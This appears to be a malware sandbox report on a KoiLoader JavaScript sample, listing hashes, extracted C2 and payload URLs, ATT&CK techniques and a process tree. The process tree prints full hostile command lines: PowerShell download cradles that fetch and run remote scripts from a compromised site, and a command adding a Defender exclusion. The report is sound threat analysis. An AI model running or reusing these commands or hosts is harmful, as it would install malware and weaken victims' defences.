koiloader | ac5e09927cf29318eeb315cf02cd19992afcc151de228192d332bb83e034aaaf

General

Target

20250407_KoiLoader_Samples/covalencesxjiY.js
Size

1KB
MD5

acfbef945b29e513ecc7e1ddccf70cf0
SHA1

8dc828d93fd9c60b74ff7b601531340d6dc9d01e
SHA256

3119cfa98d0ddbe11553e7e65738640ed89b330bbf642c63aedceda5826ac8e1
SHA512

9eb89056948126527e7ac03e19fe8eaf2a9ef2848e75203b523eeedeeb6e30236b8d2501797f69e65bf4750ce421c99b24a956d246d4dd243a0460c13db69b4d

Score

10^/10

koiloader discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://rietiholidays.it/wp-content/uploads/2021/06

Extracted

Family

koiloader

C2

http://103.245.231.56/pentateuchal.php

Attributes

payload_url
https://rietiholidays.it/wp-content/uploads/2021/06

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/4492-25-0x00000000075E0000-0x00000000075ED000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
26	4492	powershell.exe
28	4492	powershell.exe
30	2052	powershell.exe
31	2052	powershell.exe
70	4492	powershell.exe
74	4492	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4492	powershell.exe
3596	powershell.exe
2052	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4492	powershell.exe
4492	powershell.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4492	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 624 wrote to memory of 4492	624	wscript.exe	90
PID 624 wrote to memory of 4492	624	wscript.exe	90
PID 624 wrote to memory of 4492	624	wscript.exe	90
PID 5272 wrote to memory of 3960	5272	DllHost.exe	97
PID 5272 wrote to memory of 3960	5272	DllHost.exe	97
PID 5272 wrote to memory of 3960	5272	DllHost.exe	97
PID 3960 wrote to memory of 3596	3960	cmd.exe	99
PID 3960 wrote to memory of 3596	3960	cmd.exe	99
PID 3960 wrote to memory of 3596	3960	cmd.exe	99
PID 4492 wrote to memory of 2892	4492	powershell.exe	100
PID 4492 wrote to memory of 2892	4492	powershell.exe	100
PID 4492 wrote to memory of 2892	4492	powershell.exe	100
PID 2892 wrote to memory of 2052	2892	cmd.exe	102
PID 2892 wrote to memory of 2052	2892	cmd.exe	102
PID 2892 wrote to memory of 2052	2892	cmd.exe	102

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20250407_KoiLoader_Samples\covalencesxjiY.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://rietiholidays.it/wp-content/uploads/2021/06'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zRSEKCAWUM6'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/argulusrQbt.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/revettedYf.ps1'))"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://rietiholidays.it/wp-content/uploads/2021/06/sd2.ps1')"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2892
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -command IEX(IWR -UseBasicParsing 'https://rietiholidays.it/wp-content/uploads/2021/06/sd2.ps1')
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2052

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5272
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3596

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r7781ff75-b8b0-452c-baee-67eab0d32d2br.js"
1⤵
PID:5484

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r7781ff75-b8b0-452c-baee-67eab0d32d2br.js"
1⤵
PID:4604

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r7781ff75-b8b0-452c-baee-67eab0d32d2br.js"
1⤵
PID:2520

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\r7781ff75-b8b0-452c-baee-67eab0d32d2br.js

Filesize
1KB

MD5
acfbef945b29e513ecc7e1ddccf70cf0

SHA1
8dc828d93fd9c60b74ff7b601531340d6dc9d01e

SHA256
3119cfa98d0ddbe11553e7e65738640ed89b330bbf642c63aedceda5826ac8e1

SHA512
9eb89056948126527e7ac03e19fe8eaf2a9ef2848e75203b523eeedeeb6e30236b8d2501797f69e65bf4750ce421c99b24a956d246d4dd243a0460c13db69b4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
7581b7ed0841a8b4f76d884b43d81d6e

SHA1
e683c7ef1dd5479002c6cc427395eb9fb2d935d7

SHA256
84bf35d41461a50d2a730d48742a28b6db4e24ba85e34fb862dff0788cfe2099

SHA512
576298cc02d7018c434565d73ba466816837665ffdd34a8e3cea0c466709a0b6d552d65a260821b3421feb5bd0c618fe04fa20f6f95187905a84fc30f85f4731

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_erhdf44v.mdq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2052-77-0x0000000008880000-0x0000000008912000-memory.dmp

Filesize
584KB

Download
memory/2052-76-0x0000000008080000-0x00000000080D0000-memory.dmp

Filesize
320KB

Download
memory/2052-75-0x0000000007FE0000-0x0000000007FFA000-memory.dmp

Filesize
104KB

Download
memory/2052-74-0x0000000008E30000-0x00000000093D4000-memory.dmp

Filesize
5.6MB

Download
memory/2052-73-0x0000000007E90000-0x0000000007EB2000-memory.dmp

Filesize
136KB

Download
memory/3596-67-0x00000000077D0000-0x00000000077EA000-memory.dmp

Filesize
104KB

Download
memory/3596-41-0x0000000070830000-0x000000007087C000-memory.dmp

Filesize
304KB

Download
memory/3596-66-0x00000000076D0000-0x00000000076E4000-memory.dmp

Filesize
80KB

Download
memory/3596-65-0x00000000076C0000-0x00000000076CE000-memory.dmp

Filesize
56KB

Download
memory/3596-64-0x0000000007690000-0x00000000076A1000-memory.dmp

Filesize
68KB

Download
memory/3596-63-0x0000000007710000-0x00000000077A6000-memory.dmp

Filesize
600KB

Download
memory/3596-62-0x0000000007500000-0x000000000750A000-memory.dmp

Filesize
40KB

Download
memory/3596-52-0x0000000007350000-0x00000000073F3000-memory.dmp

Filesize
652KB

Download
memory/3596-51-0x0000000007320000-0x000000000733E000-memory.dmp

Filesize
120KB

Download
memory/3596-68-0x00000000077B0000-0x00000000077B8000-memory.dmp

Filesize
32KB

Download
memory/3596-40-0x00000000072E0000-0x0000000007312000-memory.dmp

Filesize
200KB

Download
memory/4492-19-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Filesize
120KB

Download
memory/4492-29-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download
memory/4492-25-0x00000000075E0000-0x00000000075ED000-memory.dmp

Filesize
52KB

Download
memory/4492-24-0x0000000007540000-0x0000000007541000-memory.dmp

Filesize
4KB

Download
memory/4492-23-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download
memory/4492-22-0x0000000007760000-0x0000000007DDA000-memory.dmp

Filesize
6.5MB

Download
memory/4492-21-0x00000000062D0000-0x00000000062EA000-memory.dmp

Filesize
104KB

Download
memory/4492-20-0x0000000005F00000-0x0000000005F4C000-memory.dmp

Filesize
304KB

Download
memory/4492-1-0x0000000074A1E000-0x0000000074A1F000-memory.dmp

Filesize
4KB

Download
memory/4492-14-0x00000000058E0000-0x0000000005C34000-memory.dmp

Filesize
3.3MB

Download
memory/4492-70-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download
memory/4492-69-0x0000000074A1E000-0x0000000074A1F000-memory.dmp

Filesize
4KB

Download
memory/4492-8-0x0000000005870000-0x00000000058D6000-memory.dmp

Filesize
408KB

Download
memory/4492-7-0x0000000005780000-0x00000000057E6000-memory.dmp

Filesize
408KB

Download
memory/4492-6-0x0000000005030000-0x0000000005052000-memory.dmp

Filesize
136KB

Download
memory/4492-5-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download
memory/4492-3-0x0000000005150000-0x0000000005778000-memory.dmp

Filesize
6.2MB

Download
memory/4492-4-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download
memory/4492-2-0x0000000002910000-0x0000000002946000-memory.dmp

Filesize
216KB

Download
memory/4492-81-0x0000000074A10000-0x00000000751C0000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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